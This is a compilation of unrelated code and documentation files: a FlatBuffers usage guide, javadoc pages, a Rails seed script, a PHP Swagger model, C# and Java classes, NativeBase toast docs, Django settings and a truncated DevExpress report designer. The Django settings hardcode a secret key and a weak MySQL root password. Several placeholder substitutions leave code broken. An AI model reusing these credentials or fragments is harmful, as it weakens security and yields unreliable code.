<li>Instead of <code>CreateVector</code>, call <code><API key></code>, which will first sort all offsets such that the tables they refer to are sorted by the key field, then serialize it.</li> <li>Now when you're accessing the FlatBuffer, you can use <code>Vector::LookupByKey</code> instead of just <code>Vector::Get</code> to access elements of the vector, e.g.: <code>myvector-&gt;LookupByKey("Fred")</code>, which returns a pointer to the corresponding table type, or <code>nullptr</code> if not found. <code>LookupByKey</code> performs a binary search, so should have a similar speed to <code>std::map</code>, though may be faster because of better caching. <code>LookupByKey</code> only works if the vector has been sorted, it will likely not find elements if it hasn't been sorted.</li> </ul> <h3>Direct memory access</h3> <p>As you can see from the above examples, all elements in a buffer are accessed through generated accessors. This is because everything is stored in little endian format on all platforms (the accessor performs a swap operation on big endian machines), and also because the layout of things is generally not known to the user.</p> <p>For structs, layout is deterministic and guaranteed to be the same accross platforms (scalars are aligned to their own size, and structs themselves to their largest member), and you are allowed to access this memory directly by using <code>sizeof()</code> and <code>memcpy</code> on the pointer to a struct, or even an array of structs.</p> <p>To compute offsets to sub-elements of a struct, make sure they are a structs themselves, as then you can use the pointers to figure out the offset without having to hardcode it. This is handy for use of arrays of structs with calls like <code><API key></code> in OpenGL or similar APIs.</p> <p>It is important to note is that structs are still little endian on all machines, so only use tricks like this if you can guarantee you're not shipping on a big endian machine (an <code>assert(<API key>)</code> would be wise).</p> <h3>Access of untrusted buffers</h3> <p>The generated accessor functions access fields over offsets, which is very quick. These offsets are not verified at run-time, so a malformed buffer could cause a program to crash by accessing random memory.</p> <p>When you're processing large amounts of data from a source you know (e.g. your own generated data on disk), this is acceptable, but when reading data from the network that can potentially have been modified by an attacker, this is undesirable.</p> <p>For this reason, you can optionally use a buffer verifier before you access the data. This verifier will check all offsets, all sizes of fields, and null termination of strings to ensure that when a buffer is accessed, all reads will end up inside the buffer.</p> <p>Each root type will have a verification function generated for it, e.g. for <code>Monster</code>, you can call:</p> <div class="fragment"><div class="line"><span class="keywordtype">bool</span> ok = VerifyMonsterBuffer(Verifier(buf, len));</div> </div><!-- fragment --><p>if <code>ok</code> is true, the buffer is safe to read.</p> <p>Besides untrusted data, this function may be useful to call in debug mode, as extra insurance against data being corrupted somewhere along the way.</p> <p>While verifying a buffer isn't "free", it is typically faster than a full traversal (since any scalar data is not actually touched), and since it may cause the buffer to be brought into cache before reading, the actual overhead may be even lower than expected.</p> <p>In specialized cases where a denial of service attack is possible, the verifier has two additional constructor arguments that allow you to limit the nesting depth and total amount of tables the verifier may encounter before declaring the buffer malformed.</p> <h2>Text &amp; schema parsing</h2> <p>Using binary buffers with the generated header provides a super low overhead use of FlatBuffer data. There are, however, times when you want to use text formats, for example because it interacts better with source control, or you want to give your users easy access to data.</p> <p>Another reason might be that you already have a lot of data in JSON format, or a tool that generates JSON, and if you can write a schema for it, this will provide you an easy way to use that data directly.</p> <p>(see the schema documentation for some specifics on the JSON format accepted).</p> <p>There are two ways to use text formats:</p> <h3>Using the compiler as a conversion tool</h3> <p>This is the preferred path, as it doesn't require you to add any new code to your program, and is maximally efficient since you can ship with binary data. The disadvantage is that it is an extra step for your users/developers to perform, though you might be able to automate it. </p><pre class="fragment">flatc -b myschema.fbs mydata.json </pre><p>This will generate the binary file <code>mydata_wire.bin</code> which can be loaded as before.</p> <h3>Making your program capable of loading text directly</h3> <p>This gives you maximum flexibility. You could even opt to support both, i.e. check for both files, and regenerate the binary from text when required, otherwise just load the binary.</p> <p>This option is currently only available for C++, or Java through JNI.</p> <p>As mentioned in the section "Building" above, this technique requires you to link a few more files into your program, and you'll want to include <code>flatbuffers/idl.h</code>.</p> <p>Load text (either a schema or json) into an in-memory buffer (there is a convenient <code>LoadFile()</code> utility function in <code>flatbuffers/util.h</code> if you wish). Construct a parser:</p> <div class="fragment"><div class="line">flatbuffers::Parser parser;</div> </div><!-- fragment --><p>Now you can parse any number of text files in sequence:</p> <div class="fragment"><div class="line">parser.Parse(text_file.c_str());</div> </div><!-- fragment --><p>This works similarly to how the command-line compiler works: a sequence of files parsed by the same <code>Parser</code> object allow later files to reference definitions in earlier files. Typically this means you first load a schema file (which populates <code>Parser</code> with definitions), followed by one or more JSON files.</p> <p>As optional argument to <code>Parse</code>, you may specify a null-terminated list of include paths. If not specified, any include statements try to resolve from the current directory.</p> <p>If there were any parsing errors, <code>Parse</code> will return <code>false</code>, and <code>Parser::err</code> contains a human readable error string with a line number etc, which you should present to the creator of that file.</p> <p>After each JSON file, the <code>Parser::fbb</code> member variable is the <code>FlatBufferBuilder</code> that contains the binary buffer version of that file, that you can access as described above.</p> <p><code>samples/sample_text.cpp</code> is a code sample showing the above operations.</p> <h3>Threading</h3> <p>Reading a FlatBuffer does not touch any memory outside the original buffer, and is entirely read-only (all const), so is safe to access from multiple threads even without synchronisation primitives.</p> <p>Creating a FlatBuffer is not thread safe. All state related to building a FlatBuffer is contained in a FlatBufferBuilder instance, and no memory outside of it is touched. To make this thread safe, either do not share instances of FlatBufferBuilder between threads (recommended), or manually wrap it in synchronisation primites. There's no automatic way to accomplish this, by design, as we feel multithreaded construction of a single buffer will be rare, and synchronisation overhead would be costly. </p> </div></div><!-- contents --> </div><!-- doc-content --> <!-- Google Analytics --> <script> (function(i,s,o,g,r,a,m){i['<API key>']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.<API key>(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script',' ga('create', 'UA-49880327-7', 'auto'); ga('send', 'pageview'); </script> </body> </html>
<!DOCTYPE HTML PUBLIC "- <!-- NewPage --> <html lang="en"> <head><link rel="apple-touch-icon" sizes="180x180" href="/assets/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/assets/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/assets/favicon-16x16.png"><link rel="manifest" href="/assets/site.webmanifest"><link rel="mask-icon" href="/assets/safari-pinned-tab.svg" color="#fc4d50"><link rel="shortcut icon" href="/assets/favicon.ico"><meta name="<API key>" content="#ffc40d"><meta name="<API key>" content="/assets/browserconfig.xml"><meta name="theme-color" content="#ffffff"> <title>com.google.android.exoplayer2.source.ads (ExoPlayer library)</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style"> <link rel="stylesheet" type="text/css" href="../../../../../../jquery/jquery-ui.css" title="Style"> <script type="text/javascript" src="../../../../../../script.js"></script> <script type="text/javascript" src="../../../../../../jquery/jszip/dist/jszip.min.js"></script> <script type="text/javascript" src="../../../../../../jquery/jszip-utils/dist/jszip-utils.min.js"></script> <!--[if IE]> <script type="text/javascript" src="../../../../../../jquery/jszip-utils/dist/jszip-utils-ie.min.js"></script> <![endif] <script type="text/javascript" src="../../../../../../jquery/jquery-1.10.2.js"></script> <script type="text/javascript" src="../../../../../../jquery/jquery-ui.js"></script> </head> <body> <h1 class="bar"><a href="../../../../../../com/google/android/exoplayer2/source/ads/package-summary.html" target="classFrame">com.google.android.exoplayer2.source.ads</a></h1> <div class="indexContainer"> <h2 title="Interfaces">Interfaces</h2> <ul title="Interfaces"> <li><a href="AdsLoader.html" title="interface in com.google.android.exoplayer2.source.ads" target="classFrame"><span class="interfaceName">AdsLoader</span></a></li> <li><a href="AdsLoader.AdViewProvider.html" title="interface in com.google.android.exoplayer2.source.ads" target="classFrame"><span class="interfaceName">AdsLoader.AdViewProvider</span></a></li> <li><a href="AdsLoader.EventListener.html" title="interface in com.google.android.exoplayer2.source.ads" target="classFrame"><span class="interfaceName">AdsLoader.EventListener</span></a></li> </ul> <h2 title="Classes">Classes</h2> <ul title="Classes"> <li><a href="AdPlaybackState.html" title="class in com.google.android.exoplayer2.source.ads" target="classFrame">AdPlaybackState</a></li> <li><a href="AdPlaybackState.AdGroup.html" title="class in com.google.android.exoplayer2.source.ads" target="classFrame">AdPlaybackState.AdGroup</a></li> <li><a href="AdsLoader.OverlayInfo.html" title="class in com.google.android.exoplayer2.source.ads" target="classFrame">AdsLoader.OverlayInfo</a></li> <li><a href="AdsMediaSource.html" title="class in com.google.android.exoplayer2.source.ads" target="classFrame">AdsMediaSource</a></li> <li><a href="<API key>.html" title="class in com.google.android.exoplayer2.source.ads" target="classFrame"><API key></a></li> </ul> <h2 title="Exceptions">Exceptions</h2> <ul title="Exceptions"> <li><a href="AdsMediaSource.AdLoadException.html" title="class in com.google.android.exoplayer2.source.ads" target="classFrame">AdsMediaSource.AdLoadException</a></li> </ul> <h2 title="Annotation Types">Annotation Types</h2> <ul title="Annotation Types"> <li><a href="AdPlaybackState.AdState.html" title="annotation in com.google.android.exoplayer2.source.ads" target="classFrame">AdPlaybackState.AdState</a></li> <li><a href="AdsLoader.OverlayInfo.Purpose.html" title="annotation in com.google.android.exoplayer2.source.ads" target="classFrame">AdsLoader.OverlayInfo.Purpose</a></li> <li><a href="AdsMediaSource.AdLoadException.Type.html" title="annotation in com.google.android.exoplayer2.source.ads" target="classFrame">AdsMediaSource.AdLoadException.Type</a></li> </ul> </div> </body> </html>
connection = ActiveRecord::Base.connection puts 'adding govt data' %w[states districts zip_codes districts_zip_codes legislators].each do |table| puts "loading #{table}" connection.execute(IO.read("db/seed_data/#{table}.sql")) end %w[states districts zip_codes legislators].each do |table| puts "updating table IDs for #{table}" result = connection.execute("SELECT id FROM #{table} ORDER BY id DESC LIMIT 1") connection.execute( "ALTER SEQUENCE #{table}_id_seq RESTART WITH #{result.first['id'].to_i + 1}" ) end
<!DOCTYPE HTML PUBLIC "- <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_111) on Wed Jan 04 22:31:31 EST 2017 --> <title>Uses of Class org.drip.sample.<API key>.<API key></title> <meta name="date" content="2017-01-04"> <link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../script.js"></script> </head> <body> <script type="text/javascript"><! try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class org.drip.sample.<API key>.<API key>"; } } catch(err) { } </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <div class="topNav"><a name="navbar.top"> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/drip/sample/<API key>/<API key>.html" title="class in org.drip.sample.<API key>">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/drip/sample/<API key>/class-use/<API key>.html" target="_top">Frames</a></li> <li><a href="<API key>.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip.navbar.top"> </a></div> <div class="header"> <h2 title="Uses of Class org.drip.sample.<API key>.<API key>" class="title">Uses of Class<br>org.drip.sample.<API key>.<API key></h2> </div> <div class="classUseContainer">No usage of org.drip.sample.<API key>.<API key></div> <div class="bottomNav"><a name="navbar.bottom"> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/drip/sample/<API key>/<API key>.html" title="class in org.drip.sample.<API key>">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/drip/sample/<API key>/class-use/<API key>.html" target="_top">Frames</a></li> <li><a href="<API key>.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip.navbar.bottom"> </a></div> </body> </html>
<?php namespace ultracart\v2\models; use \ArrayAccess; use \ultracart\v2\ObjectSerializer; class Activity implements ModelInterface, ArrayAccess { const DISCRIMINATOR = null; /** * The original name of the model. * * @var string */ protected static $swaggerModelName = 'Activity'; /** * Array of property to type mappings. Used for (de)serialization * * @var string[] */ protected static $swaggerTypes = [ 'action' => 'string', 'metric' => 'string', 'subject' => 'string', 'ts' => 'int', 'type' => 'string', 'uuid' => 'string' ]; /** * Array of property to format mappings. Used for (de)serialization * * @var string[] */ protected static $swaggerFormats = [ 'action' => null, 'metric' => null, 'subject' => null, 'ts' => 'int64', 'type' => null, 'uuid' => null ]; /** * Array of property to type mappings. Used for (de)serialization * * @return array */ public static function swaggerTypes() { return self::$swaggerTypes; } /** * Array of property to format mappings. Used for (de)serialization * * @return array */ public static function swaggerFormats() { return self::$swaggerFormats; } /** * Array of attributes where the key is the local name, * and the value is the original name * * @var string[] */ protected static $attributeMap = [ 'action' => 'action', 'metric' => 'metric', 'subject' => 'subject', 'ts' => 'ts', 'type' => 'type', 'uuid' => 'uuid' ]; /** * Array of attributes to setter functions (for deserialization of responses) * * @var string[] */ protected static $setters = [ 'action' => 'setAction', 'metric' => 'setMetric', 'subject' => 'setSubject', 'ts' => 'setTs', 'type' => 'setType', 'uuid' => 'setUuid' ]; /** * Array of attributes to getter functions (for serialization of requests) * * @var string[] */ protected static $getters = [ 'action' => 'getAction', 'metric' => 'getMetric', 'subject' => 'getSubject', 'ts' => 'getTs', 'type' => 'getType', 'uuid' => 'getUuid' ]; /** * Array of attributes where the key is the local name, * and the value is the original name * * @return array */ public static function attributeMap() { return self::$attributeMap; } /** * Array of attributes to setter functions (for deserialization of responses) * * @return array */ public static function setters() { return self::$setters; } /** * Array of attributes to getter functions (for serialization of requests) * * @return array */ public static function getters() { return self::$getters; } /** * The original name of the model. * * @return string */ public function getModelName() { return self::$swaggerModelName; } /** * Associative array for storing property values * * @var mixed[] */ protected $container = []; /** * Constructor * * @param mixed[] $data Associated array of property values * initializing the model */ public function __construct(array $data = null) { $this->container['action'] = isset($data['action']) ? $data['action'] : null; $this->container['metric'] = isset($data['metric']) ? $data['metric'] : null; $this->container['subject'] = isset($data['subject']) ? $data['subject'] : null; $this->container['ts'] = isset($data['ts']) ? $data['ts'] : null; $this->container['type'] = isset($data['type']) ? $data['type'] : null; $this->container['uuid'] = isset($data['uuid']) ? $data['uuid'] : null; } /** * Show all the invalid properties with reasons. * * @return array invalid properties with reasons */ public function <API key>() { $invalidProperties = []; return $invalidProperties; } /** * Validate all the properties in the model * return true if all passed * * @return bool True if all properties are valid */ public function valid() { return count($this-><API key>()) === 0; } /** * Gets action * * @return string */ public function getAction() { return $this->container['action']; } /** * Sets action * * @param string $action action * * @return $this */ public function setAction($action) { $this->container['action'] = $action; return $this; } /** * Gets metric * * @return string */ public function getMetric() { return $this->container['metric']; } /** * Sets metric * * @param string $metric metric * * @return $this */ public function setMetric($metric) { $this->container['metric'] = $metric; return $this; } /** * Gets subject * * @return string */ public function getSubject() { return $this->container['subject']; } /** * Sets subject * * @param string $subject subject * * @return $this */ public function setSubject($subject) { $this->container['subject'] = $subject; return $this; } /** * Gets ts * * @return int */ public function getTs() { return $this->container['ts']; } /** * Sets ts * * @param int $ts ts * * @return $this */ public function setTs($ts) { $this->container['ts'] = $ts; return $this; } /** * Gets type * * @return string */ public function getType() { return $this->container['type']; } /** * Sets type * * @param string $type type * * @return $this */ public function setType($type) { $this->container['type'] = $type; return $this; } /** * Gets uuid * * @return string */ public function getUuid() { return $this->container['uuid']; } /** * Sets uuid * * @param string $uuid uuid * * @return $this */ public function setUuid($uuid) { $this->container['uuid'] = $uuid; return $this; } /** * Returns true if offset exists. False otherwise. * * @param integer $offset Offset * * @return boolean */ public function offsetExists($offset) { return isset($this->container[$offset]); } /** * Gets offset. * * @param integer $offset Offset * * @return mixed */ public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } /** * Sets value based on offset. * * @param integer $offset Offset * @param mixed $value Value to be set * * @return void */ public function offsetSet($offset, $value) { if (is_null($offset)) { $this->container[] = $value; } else { $this->container[$offset] = $value; } } /** * Unsets offset. * * @param integer $offset Offset * * @return void */ public function offsetUnset($offset) { unset($this->container[$offset]); } /** * Gets the string presentation of the object * * @return string */ public function __toString() { if (defined('JSON_PRETTY_PRINT')) { // use JSON pretty print return json_encode( ObjectSerializer::<API key>($this), JSON_PRETTY_PRINT ); } return json_encode(ObjectSerializer::<API key>($this)); } }
using System; using System.Linq.Expressions; namespace storagecore.EntityFrameworkCore.Query { public class Filter<TEntity> { public Filter(Expression<Func<TEntity, bool>> expression) { Expression = expression; } public Expression<Func<TEntity, bool>> Expression { get; private set; } public void AddExpression(Expression<Func<TEntity, bool>> newExpression) { if (newExpression == null) throw new <API key>(nameof(newExpression), $"{nameof(newExpression)} is null."); if (Expression == null) Expression = newExpression; var parameter = System.Linq.Expressions.Expression.Parameter(typeof(TEntity)); var leftVisitor = new <API key>(newExpression.Parameters[0], parameter); var left = leftVisitor.Visit(newExpression.Body); var rightVisitor = new <API key>(Expression.Parameters[0], parameter); var right = rightVisitor.Visit(Expression.Body); Expression = System.Linq.Expressions.Expression.Lambda<Func<TEntity, bool>>(System.Linq.Expressions.Expression.AndAlso(left, right), parameter); } } }
## <API key> # Toast with duration ![Preview ios <API key>](https://github.com/GeekyAnts/<API key>/raw/v2.6.1/screenshots/ios/toast-duration.gif) ![Preview android <API key>](https://github.com/GeekyAnts/<API key>/raw/v2.6.1/screenshots/android/toast-duration.gif) *Syntax* {% codetabs name="React Native", type="js" -%} import React, { Component } from "react"; import { Container, Header, Content, Text, Button, Toast } from "native-base"; export default class ToastDuration extends Component { constructor(props) { super(props); this.state = { showToast: false }; } render() { return ( <Container> <Header /> <Content padder> <Button onPress={() => Toast.show({ text: "Wrong password!", buttonText: "Okay", duration: 3000 })} > <Text>Toast</Text> </Button> </Content> </Container> ); } } {%- language name="Vue Native", type="vue" -%} <template> <nb-container> <nb-header /> <nb-content padder> <nb-button :onPress="handleBtnPress"> <nb-text>Toast</nb-text> </nb-button> </nb-content> </nb-container> </template> <script> import React from "react"; import { Toast } from "native-base"; export default { methods: { handleBtnPress: function() { Toast.show({ text: "Wrong password!", buttonText: "Okay", duration: 3000 }); } } }; </script> {%- endcodetabs %} <p> <div id="" class="mobileDevice" style="background: url(&quot;https://docs-v2.nativebase.io/docs/assets/iosphone.png&quot;) no-repeat; padding: 63px 20px 100px 15px; width: 292px; height: 600px;margin:0 auto;float:none;"> <img src="https://github.com/GeekyAnts/<API key>/raw/v2.6.1/screenshots/ios/toast-duration.gif" alt="" style="display:block !important" /> </div> </p> <br />
package de.jungblut.math.squashing; import de.jungblut.math.DoubleMatrix; import de.jungblut.math.MathUtils; /** * Logistic error function implementation. * * @author thomas.jungblut * */ public final class <API key> implements ErrorFunction { @Override public double calculateError(DoubleMatrix y, DoubleMatrix hypothesis) { return (y.multiply(-1d) .multiplyElementWise(MathUtils.logMatrix(hypothesis)).subtract((y .subtractBy(1.0d)).multiplyElementWise(MathUtils.logMatrix(hypothesis .subtractBy(1d))))).sum(); } }
# Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) # Quick-start development settings - unsuitable for production # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = ')mg$xo^v*2mmwidr0ak6%9&!@e18v8t#7@+vd+wqg8kydb48k7' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True TEMPLATE_DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'blog', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.<API key>, 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.<API key>', ) ROOT_URLCONF = 'sparta.urls' WSGI_APPLICATION = 'sparta.wsgi.application' # Database DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'USER':'root', 'NAME':'fordjango', 'PASSWORD':'123456', 'HOST':'localhost', 'PORT':'' } } # <API key> LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) STATIC_ROOT = os.path.join('/home/dexter/weaponx/Django/sparta/sparta/static') STATIC_URL = '/assets/' STATICFILES_DIRS = ( '/home/dexter/weaponx/Django/sparta/sparta/assets', ) TEMPLATE_DIRS=('/home/dexter/weaponx/Django/sparta/sparta/template',)
namespace CJia.PIVAS.App.UI { partial class <API key> { <summary> Required designer variable. </summary> private System.ComponentModel.IContainer components = null; <summary> Clean up any resources being used. </summary> <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Designer generated code <summary> Required method for Designer support - do not modify the contents of this method with the code editor. </summary> private void InitializeComponent() { this.Detail = new DevExpress.XtraReports.UI.DetailBand(); this.xrTable1 = new DevExpress.XtraReports.UI.XRTable(); this.xrTableRow1 = new DevExpress.XtraReports.UI.XRTableRow(); this.xrIllfield = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatchZ = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatch1 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatch2 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatch3 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatch4 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatch5 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatch6 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatchB = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatchW = new DevExpress.XtraReports.UI.XRTableCell(); this.xrBatchL = new DevExpress.XtraReports.UI.XRTableCell(); this.xrAllBatch = new DevExpress.XtraReports.UI.XRTableCell(); this.TopMargin = new DevExpress.XtraReports.UI.TopMarginBand(); this.BottomMargin = new DevExpress.XtraReports.UI.BottomMarginBand(); this.ReportHeader = new DevExpress.XtraReports.UI.ReportHeaderBand(); this.xlZX = new DevExpress.XtraReports.UI.XRLabel(); this.xlZXDate = new DevExpress.XtraReports.UI.XRLabel(); this.xlKDDate = new DevExpress.XtraReports.UI.XRLabel(); this.xlKD1 = new DevExpress.XtraReports.UI.XRLabel(); this.xrDY1 = new DevExpress.XtraReports.UI.XRLabel(); this.xlDYstart = new DevExpress.XtraReports.UI.XRLabel(); this.xrDY2 = new DevExpress.XtraReports.UI.XRLabel(); this.xlDYEnd = new DevExpress.XtraReports.UI.XRLabel(); this.xrRepertHeader = new DevExpress.XtraReports.UI.XRLabel(); this.ReportFooter = new DevExpress.XtraReports.UI.ReportFooterBand(); this.xrLabel8 = new DevExpress.XtraReports.UI.XRLabel(); this.xrPrintBy = new DevExpress.XtraReports.UI.XRLabel(); this.lblPrintDate = new DevExpress.XtraReports.UI.XRLabel(); this.xrLabel6 = new DevExpress.XtraReports.UI.XRLabel(); this.xrPageInfo1 = new DevExpress.XtraReports.UI.XRPageInfo(); this.xr = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell3 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell2 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell4 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableRow3 = new DevExpress.XtraReports.UI.XRTableRow(); this.xrTableCell1 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell8 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell9 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell10 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell11 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell5 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell6 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTableCell7 = new DevExpress.XtraReports.UI.XRTableCell(); this.xrTable3 = new DevExpress.XtraReports.UI.XRTable(); this.GroupHeader1 = new DevExpress.XtraReports.UI.GroupHeaderBand(); ((System.ComponentModel.ISupportInitialize)(this.xrTable1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.xrTable3)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this)).BeginInit(); // Detail this.Detail.Controls.AddRange(new DevExpress.XtraReports.UI.XRControl[] { this.xrTable1}); this.Detail.HeightF = 25.95833F; this.Detail.Name = "Detail"; this.Detail.Padding = new DevExpress.XtraPrinting.PaddingInfo(0, 0, 0, 0, 100F); this.Detail.TextAlignment = DevExpress.XtraPrinting.TextAlignment.TopLeft; // xrTable1 this.xrTable1.LocationFloat = new DevExpress.Utils.PointFloat(16.49996F, 0F); this.xrTable1.Name = "xrTable1"; this.xrTable1.Rows.AddRange(new DevExpress.XtraReports.UI.XRTableRow[] { this.xrTableRow1}); this.xrTable1.SizeF = new System.Drawing.SizeF(823.5001F, 25F); // xrTableRow1 this.xrTableRow1.Cells.AddRange(new DevExpress.XtraReports.UI.XRTableCell[] { this.xrIllfield, this.xrBatchZ, this.xrBatch1, this.xrBatch2, this.xrBatch3, this.xrBatch4, this.xrBatch5, this.xrBatch6, this.xrBatchB, this.xrBatchW, this.xrBatchL, this.xrAllBatch}); this.xrTableRow1.Name = "xrTableRow1"; this.xrTableRow1.Weight = 1D; // xrIllfield this.xrIllfield.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrIllfield.Name = "xrIllfield"; this.xrIllfield.StylePriority.UseBorders = false; this.xrIllfield.StylePriority.UseTextAlignment = false; this.xrIllfield.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrIllfield.Weight = 0.56262541342602934D; // xrBatchZ this.xrBatchZ.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatchZ.Name = "xrBatchZ"; this.xrBatchZ.StylePriority.UseBorders = false; this.xrBatchZ.StylePriority.UseTextAlignment = false; this.xrBatchZ.Text = "xrBatchZ"; this.xrBatchZ.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatchZ.Weight = 0.21932980514517925D; // xrBatch1 this.xrBatch1.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatch1.Name = "xrBatch1"; this.xrBatch1.StylePriority.UseBorders = false; this.xrBatch1.StylePriority.UseTextAlignment = false; this.xrBatch1.Text = "xrBatch1"; this.xrBatch1.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatch1.Weight = 0.21932980955029355D; // xrBatch2 this.xrBatch2.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatch2.Name = "xrBatch2"; this.xrBatch2.StylePriority.UseBorders = false; this.xrBatch2.StylePriority.UseTextAlignment = false; this.xrBatch2.Text = "xrBatch2"; this.xrBatch2.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatch2.Weight = 0.21932981924775033D; // xrBatch3 this.xrBatch3.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatch3.Name = "xrBatch3"; this.xrBatch3.Padding = new DevExpress.XtraPrinting.PaddingInfo(5, 0, 0, 0, 100F); this.xrBatch3.StylePriority.UseBorders = false; this.xrBatch3.StylePriority.UsePadding = false; this.xrBatch3.StylePriority.UseTextAlignment = false; this.xrBatch3.Text = "xrBatch3"; this.xrBatch3.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatch3.Weight = 0.21932982002991075D; // xrBatch4 this.xrBatch4.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatch4.Name = "xrBatch4"; this.xrBatch4.StylePriority.UseBorders = false; this.xrBatch4.StylePriority.UseTextAlignment = false; this.xrBatch4.Text = "xrBatch4"; this.xrBatch4.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatch4.Weight = 0.21932980591515972D; // xrBatch5 this.xrBatch5.Borders = 